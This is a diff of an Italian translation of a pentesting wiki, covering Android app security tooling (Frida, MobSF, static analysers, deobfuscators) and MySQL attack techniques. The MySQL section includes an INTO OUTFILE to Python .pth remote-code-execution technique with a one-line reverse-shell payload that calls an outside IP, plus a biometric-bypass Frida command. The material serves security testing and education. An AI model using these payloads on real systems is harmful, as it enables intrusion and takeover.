[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Usando il seguente Frida script potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero eseguire per **proteggere alcune aree sensibili:** +Usando il seguente script Frida potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero eseguire per **proteggere alcune aree sensibili:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Immagini in background** +### **Immagini di sfondo** -Quando metti un'applicazione in background, Android salva un'**istantanea dell'applicazione** così quando viene riportata in primo piano inizia a caricare l'immagine prima dell'app, dando l'impressione che l'app sia stata avviata più velocemente. +Quando metti un'applicazione in background, Android memorizza una **istantanea dell'applicazione** così quando viene riportata in primo piano inizia a caricare l'immagine prima dell'app in modo che sembri che l'app sia stata caricata più velocemente. -Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare tali dati** (nota che è necessario avere root per accedervi). +Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare queste informazioni** (nota che è necessario avere i permessi di root per accedervi). Le istantanee sono solitamente memorizzate in: **`/data/system_ce/0/snapshots`** -Android fornisce un modo per **impedire la cattura di screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, impedendo che compaia negli screenshot o che sia visualizzato su display non sicuri. +Android fornisce un modo per **impedire la cattura dello screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, impedendone l'apparizione negli screenshot o la visualizzazione su display non sicuri. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -566,82 +566,82 @@ Questo strumento può aiutarti a gestire diversi tool durante l'analisi dinamica ### Intent Injection -Gli sviluppatori spesso creano componenti proxy come activities, services e broadcast receivers che gestiscono questi Intent e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso. +Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky. -Il pericolo consiste nel permettere ad un attacker di attivare componenti non-exported dell'app o di accedere a content providers sensibili deviano questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a malicious Intent injections. +Il pericolo consiste nel permettere a malintenzionati di attivare componenti dell'app non-exported o accedere a content provider sensibili deviando questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a iniezioni di Intent malevoli. ### Essential Takeaways -- **Intent Injection** è simile all'Open Redirect del web. -- Gli exploit consistono nel passare oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure. -- Può esporre componenti non-exported e content providers agli attacker. +- **Intent Injection** è simile al problema Open Redirect del web. +- Gli exploit comportano il passaggio di oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure. +- Può esporre componenti non-exported e content provider a malintenzionati. - La conversione da URL a `Intent` di `WebView` può facilitare azioni non intenzionali. -### Android Client Side Injections and others +### Iniezioni lato client Android e altri Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi prestare particolare attenzione a queste vulnerabilità in un'app Android: - **SQL Injection:** Quando si gestiscono query dinamiche o Content-Providers assicurati di usare query parametrizzate. -- **JavaScript Injection (XSS):** Verifica che il supporto a JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: In molti casi, quando l'app Android termina la sessione il cookie non viene revocato o può essere addirittura salvato su disco +- **JavaScript Injection (XSS):** Verifica che il supporto a JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** I WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: In diversi casi quando l'app Android termina la sessione il cookie non viene revocato o può essere persino salvato su disco - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## Analisi automatica ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**Analisi statica** ![](<../../images/image (866).png>) -**Valutazione delle vulnerabilità dell'applicazione** tramite una comoda interfaccia web. È possibile anche eseguire analisi dinamiche (ma è necessario preparare l'ambiente). +**Valutazione delle vulnerabilità dell'applicazione** usando una gradevole interfaccia web. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Nota che MobSF può analizzare **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Le applicazioni Windows devono essere analizzate da un MobSF installato su un host Windows_).\ +Inoltre, se crei un file **ZIP** con il codice sorgente di un'app **Android** o **IOS** (vai nella cartella root dell'applicazione, seleziona tutto e crea un ZIPfile), sarà in grado di analizzarlo. -MobSF consente inoltre di **diff/Compare** le analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`; in tal caso verrà **upload** solo l'**hash** invece del file. +MobSF permette anche di fare il **diff/Compare** delle analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` a `False`, allora l'**hash** sarà **upload** invece del file. -### Assisted Dynamic analysis with MobSF +### Analisi dinamica assistita con MobSF -MobSF può anche essere molto utile per la dynamic analysis su **Android**, ma in questo caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **start first a VM in genymotion** e **then MobSF**._\ -Il MobSF dynamic analyser può: +**MobSF** può essere molto utile anche per la **dynamic analysis** su **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **start first a VM in genymotion** e **then MobSF.**_\ +Il **MobSF dynamic analyser** può: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tutto questo viene fatto automaticamente eccetto per gli screenshot: devi premere quando vuoi uno screenshot oppure premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate. -- Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- **Dump application data** (URLs, logs, clipboard, screenshots fatte da te, screenshots fatte da "**Exported Activity Tester**", email, SQLite databases, XML files, e altri file creati). Tutto questo viene fatto automaticamente eccetto gli screenshot: per gli screenshot devi premere quando vuoi catturarne uno oppure devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate. +- Catturare il **HTTPS traffic** +- Usare **Frida** per ottenere informazioni a runtime -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Dalle **versioni di Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per catturare il traffico. Catturerà solo il traffico dell'applicazione testata. **Frida** -Di default, utilizzerà anche alcuni Frida Scripts per **bypass SSL pinning**, **root detection** e **debugger detection** e per **monitor** API interessanti.\ +Di default userà anche alcuni Frida Scripts per **bypass SSL pinning**, **root detection** e **debugger detection** e per **monitor interesting APIs**.\ MobSF può anche **invoke exported activities**, catturare **screenshots** di esse e **save**le per il report. -Per **start** il dynamic testing premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hooked, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\ -MobSF permette anche di caricare i tuoi **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Include anche **diversi script pre-written** che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), selezionali, premi "**Load**" e poi "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**"). +Per **start** il testing dinamico premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocation ai metodi hooked, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\ +MobSF permette anche di caricare i tuoi **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Ha anche **several pre-written scripts** che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **select them**, premere "**Load**" e premere "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**"). ![](<../../images/image (419).png>) Inoltre, hai alcune funzionalità ausiliarie di Frida: -- **Enumerate Loaded Classes**: mostrerà tutte le classi caricate -- **Capture Strings**: mostrerà tutte le stringhe catturate durante l'uso dell'applicazione (molto rumoroso) -- **Capture String Comparisons**: può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è True o False. -- **Enumerate Class Methods**: inserisci il nome della classe (per esempio "java.io.File") e mostrerà tutti i metodi della classe. -- **Search Class Pattern**: cerca classi per pattern -- **Trace Class Methods**: traccia un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che per default MobSF traccia diversi metodi Android API interessanti. +- **Enumerate Loaded Classes**: Stamperà tutte le classi caricate +- **Capture Strings**: Stamperà tutte le stringhe catturate mentre usi l'applicazione (molto noisy) +- **Capture String Comparisons**: Può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è True o False. +- **Enumerate Class Methods**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe. +- **Search Class Pattern**: Cerca classi per pattern +- **Trace Class Methods**: **Trace** un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che di default MobSF traccia diversi metodi interessanti delle Android Api. -Una volta selezionato il modulo ausiliario che vuoi usare devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**". +Una volta selezionato il modulo ausiliario che vuoi usare devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**". **Shell** -MobSF offre anche una shell con alcuni comandi **adb**, comandi **MobSF**, e comandi **shell** comuni in fondo alla pagina di dynamic analysis. Alcuni comandi interessanti: +MobSF offre anche una shell con alcuni comandi **adb**, **MobSF commands**, e comuni **shell** **commands** in fondo alla pagina di dynamic analysis. Alcuni comandi interessanti: ```bash help shell ls @@ -652,32 +652,32 @@ receivers ``` **Strumenti HTTP** -Quando il traffico http viene catturato puoi vedere una vista grezza del traffico catturato nel pulsante "**HTTP(S) Traffic**" in basso oppure una vista più pulita nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **captured requests** a **proxies** come Burp o Owasp ZAP.\ -Per farlo, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> premi "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Quando il traffico http viene catturato puoi vedere una vista brutta del traffico catturato sul pulsante "**HTTP(S) Traffic**" in basso oppure una vista più pulita nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\ +Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la request_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Una volta terminata la dynamic analysis con MobSF puoi premere "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità. +Una volta terminata l'analisi dinamica con MobSF puoi premere su "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità. > [!TIP] -> Dopo aver eseguito una dynamic analysis con MobSF le impostazioni del proxy potrebbero essere malconfigurate e potresti non riuscire a sistemarle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo: +> Dopo aver eseguito un'analisi dinamica con MobSF le impostazioni del proxy potrebbero essere mal configurate e potresti non riuscire a correggerle dall'interfaccia. Puoi correggere le impostazioni del proxy eseguendo: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Analisi Dynamic Analysis assistita con Inspeckage +### Assisted Dynamic Analysis with Inspeckage Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Questo tool utilizza alcuni **Hooks** per farti sapere **cosa succede nell'applicazione** mentre esegui una **dynamic analysis**. +Questo tool utilizza alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Questo è un **ottimo tool per eseguire static analysis con una GUI** +Questo è un **ottimo strumento per eseguire analisi statica con una GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Questo tool è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **source code** sia negli **packaged APKs**. Lo strumento è inoltre **capace di creare un "Proof-of-Concept" deployable APK** e **ADB commands**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test. +Questo tool è progettato per cercare diverse **vulnerabilità delle applicazioni Android legate alla security**, sia nel **source code** sia negli **APKs** confezionati. Lo strumento è inoltre **in grado di creare un APK deployable "Proof-of-Concept"** e **ADB commands**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario effettuare il root del dispositivo di test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Visualizza tutti i file estratti per riferimento rapido -- Decompila automaticamente i file APK in formato Java e Smali -- Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni -- Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni +- Mostra tutti i file estratti per un facile riferimento +- Decompila automaticamente gli APK in formato Java e Smali +- Analizza AndroidManifest.xml per vulnerabilità comuni e comportamento +- Analisi statica del codice sorgente per vulnerabilità comuni e comportamento - Informazioni sul dispositivo - e altro ```bash @@ -697,11 +697,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità. +SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevarle. -Tutte le regole sono contenute in un file `rules.json` e ogni azienda o tester può creare regole proprie per analizzare ciò di cui ha bisogno. +Tutte le regole sono raccolte in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui ha bisogno. -Scarica i binari più recenti dalla [download page](https://superanalyzer.rocks/download.html) +Scarica gli ultimi binari dalla [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -709,9 +709,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, bugbounty hunters e ethical hackers a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili. +StaCoAn è uno strumento **multipiattaforma** che aiuta sviluppatori, bugbounty hunters e ethical hackers nello svolgimento di [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobile. -Il concetto è che trascini e rilasci il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e questa genererà per te un report visivo e portabile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata. +Il concetto è che trascini e rilasci il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e questo genererà per te un report visuale e portatile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata. Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +719,7 @@ Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework è un sistema di analisi delle vulnerabilità Android che aiuta sviluppatori o hackers a individuare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\ +AndroBugs Framework è un sistema di analisi delle vulnerabilità per Android che aiuta sviluppatori o hacker a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -729,9 +729,9 @@ androbugs.exe -f [APK file] **Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente su potenziali comportamenti dannosi sviluppati da un'applicazione Android. -La rilevazione viene eseguita tramite la **static analysis** del Dalvik bytecode dell'applicazione, rappresentato come **Smali**, usando la libreria [`androguard`](https://github.com/androguard/androguard). +La rilevazione viene eseguita tramite **static analysis** del Dalvik bytecode dell'applicazione, rappresentato come **Smali**, usando la libreria [`androguard`](https://github.com/androguard/androguard). -Questo strumento cerca i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Questo strumento individua i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,11 +739,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** è un **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. È uno strumento che mette insieme tool comunemente usati per il reverse engineering e l'analisi di mobile application, per assistere nei test delle app mobili contro le minacce OWASP mobile security. Il suo obiettivo è rendere questo compito più semplice e accessibile agli sviluppatori di applicazioni mobili e ai professionisti della sicurezza. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. È uno strumento che mette insieme strumenti comunemente usati per il reverse engineering e l'analisi delle mobile application, per assistere nel testing delle mobile application contro le minacce per la sicurezza mobile identificate da OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile agli sviluppatori di mobile application e ai professionisti della sicurezza. È in grado di: -- Estrarre codice Java e Smali usando diversi tool +- Estrarre codice Java e Smali usando diversi strumenti - Analizzare APK usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Estrarre informazioni private dall'APK usando regexp. - Analizzare il Manifest. @@ -752,29 +752,29 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### Koodous -Utile per rilevare malware: [https://koodous.com/](https://koodous.com) +Utile per rilevare malware: [https://koodous.com/](https://koodous.com/) -## Offuscamento/Deoffuscamento del codice +## Obfuscating/Deobfuscating code -Tieni presente che, a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero essere offuscati oppure no. +Nota che a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero o meno risultare offuscati. ### [ProGuard]() -From [Wikipedia](): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode così come di rilevare e rimuovere istruzioni non usate. ProGuard è software libero e viene distribuito sotto la GNU General Public License, versione 2. +Da [Wikipedia](): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode oltre a rilevare e rimuovere istruzioni non utilizzate. ProGuard è software libero distribuito sotto la GNU General Public License, versione 2. -ProGuard viene distribuito come parte dell'Android SDK ed esegue quando si compila l'applicazione in modalità release. +ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la build dell'applicazione in modalità release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Trova una guida passo-passo per deobfuscate l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Last time we checked, the Dexguard mode of operation was: +(Dalla guida) L'ultima volta che abbiamo controllato, la modalità di funzionamento di Dexguard era: -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- caricare una risorsa come InputStream; +- passare il risultato a una classe che eredita da FilterInputStream per decrittarlo; +- fare alcune inutili operazioni di obfuscation per far perdere qualche minuto al reverser; +- passare il risultato decrittato a un ZipInputStream per ottenere un file DEX; +- infine caricare il DEX risultante come risorsa usando il metodo `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -784,15 +784,15 @@ Puoi caricare un APK offuscato sulla loro piattaforma. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. +Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Usa l'API pubblica Gemini di Google. ### [Simplify](https://github.com/CalebFenton/simplify) -È un **deobfuscator Android generico.** Simplify **esegue virtualmente un'app** per comprenderne il comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da capire per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale specifico tipo di offuscamento sia stato usato. +È un deobfuscator Android generico. Simplify esegue virtualmente un'app per comprenderne il comportamento e poi cerca di ottimizzare il codice in modo che si comporti identicamente ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale tipo specifico di offuscamento sia stato usato. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD ti dà informazioni su **come un APK è stato creato**. Identifica molti **compilatori**, **packers**, **obfuscators** e altre cose strane. È [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android. +APKiD ti dà informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packers**, **obfuscators**, e altre cose strane. È lo [_PEiD_] per Android. ### Manual @@ -802,13 +802,13 @@ APKiD ti dà informazioni su **come un APK è stato creato**. Identifica molti * ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include una collezione dei più recenti framework, tutorial e lab provenienti da diversi esperti e ricercatori per reverse engineering e analisi di malware. +AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include una raccolta dei più recenti framework, tutorial e lab da diversi esperti e ricercatori per reverse engineering e analisi di malware. -## Riferimenti +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È un'ottima lista di risorse +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -816,7 +816,7 @@ AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate c - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## Da provare +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 0d3c2d14b..b9a09d5fb 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Informazioni di base** -**MySQL** può essere descritto come un sistema di gestione di database relazionali open source (**RDBMS**) disponibile gratuitamente. Funziona con il linguaggio di query strutturato (**SQL**), permettendo la gestione e la manipolazione dei database. +**MySQL** può essere descritto come un **sistema di gestione di database relazionale (RDBMS)** open source disponibile gratuitamente. Opera tramite il **Structured Query Language (SQL)**, consentendo la gestione e la manipolazione dei database. **Porta predefinita:** 3306 ``` @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## Enumerazione Esterna +## External Enumeration -Alcune delle azioni di enumerazione richiedono credenziali valide +Alcune delle azioni di enumeration richiedono credenziali valide. ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -Puoi consultare la documentazione per il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Puoi vedere nei documenti il significato di ogni privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,45 +110,47 @@ Puoi consultare la documentazione per il significato di ciascun privilegio: [htt ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (hook di configurazione specifici per sito) +#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) -Abusando della classica `INTO OUTFILE` primitive è possibile ottenere *arbitrary code execution* su target che successivamente eseguono script **Python**. +Abusando della classica primitiva `INTO OUTFILE` è possibile ottenere *arbitrary code execution* su target che in seguito eseguono script **Python**. -1. Usare `INTO OUTFILE` per depositare un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`). -2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia. -3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo ha eseguito come **root** → full pre-auth RCE). +1. Usa `INTO OUTFILE` per scrivere un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`). +2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete viene avviato. +3. Quando l'interprete viene eseguito implicitamente da uno script CGI (per esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo eseguiva come **root** → full pre-auth RCE). -Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario usare hex/`UNHEX()` o concatenazione di stringhe): +Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbero essere necessari hex/`UNHEX()` o concatenazione di stringhe): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte): +Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 bytes): ```sql 